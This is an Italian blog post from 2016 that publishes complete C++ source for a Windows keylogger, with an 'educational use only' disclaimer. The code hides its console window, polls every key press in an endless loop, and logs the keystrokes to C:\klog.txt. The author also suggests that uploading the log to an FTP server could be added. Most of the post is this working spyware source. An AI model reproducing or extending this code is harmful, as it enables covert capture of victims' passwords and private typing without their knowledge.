giovedì 1 dicembre 2016

C++ Keylogger per Windows 7/8/10

Salve a tutti. Oggi ho deciso di pubblicare il mio piccolo Keylogger, da utilizzare "esclusivamente" per uso didattico! Non mi assumo nessuna responsabilità sull'uso che farete del codice sorgente, e proprio per questo motivo ho deciso di non includere il binario pre-compilato. Sono stato attento a non permettere a chiunque di scriverne uno remoto, un keylogger locale non potrà creare problemi. Per implementare l'upload su server ftp del file "klog.txt" serve una conoscenza discreta del linguaggio, anche se il codice di base è già sviluppato.


Codice sorgente:
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
// Keylogger scritto in C++

#include <cstdlib>
#include <iostream>
#include <cstdio>
#include <windows.h>
#include <fstream>

// Creo una costante che regola la velocità di lettura dei tasti premuti.
#define DELAY 150

using namespace std;

// Funzione che gestisce il file di testo in scrittura.
void writedown (char key) {
    // Indico il percorso del file "klog.txt".
    char *path = "C:\\klog.txt";
    // Creo puntatore a file che chiamo "out".
    FILE *out;
    // Quando scrive sul file, non elimina i caratteri ma prosegue a fianco.
    out = fopen (path, "a+");
    // Scrive nel file .txt i tasti premuti convertendoli in carattere (%c conversione).
    fprintf (out, "%c", key);
    // Chiude il puntatote a file.
    fclose (out);
}

int main()
{
    FreeConsole(); // Nasconde il terminale di Windows.
    while (true) {
        for (char i = 31; i < 91; i++) {
        if (GetAsyncKeyState(i) != NULL) {
            writedown (i);
            Sleep(DELAY);
            }
        }
    }

    cin.get();
    cin.get();
    return EXIT_SUCCESS;
}



Nessun commento:

Posta un commento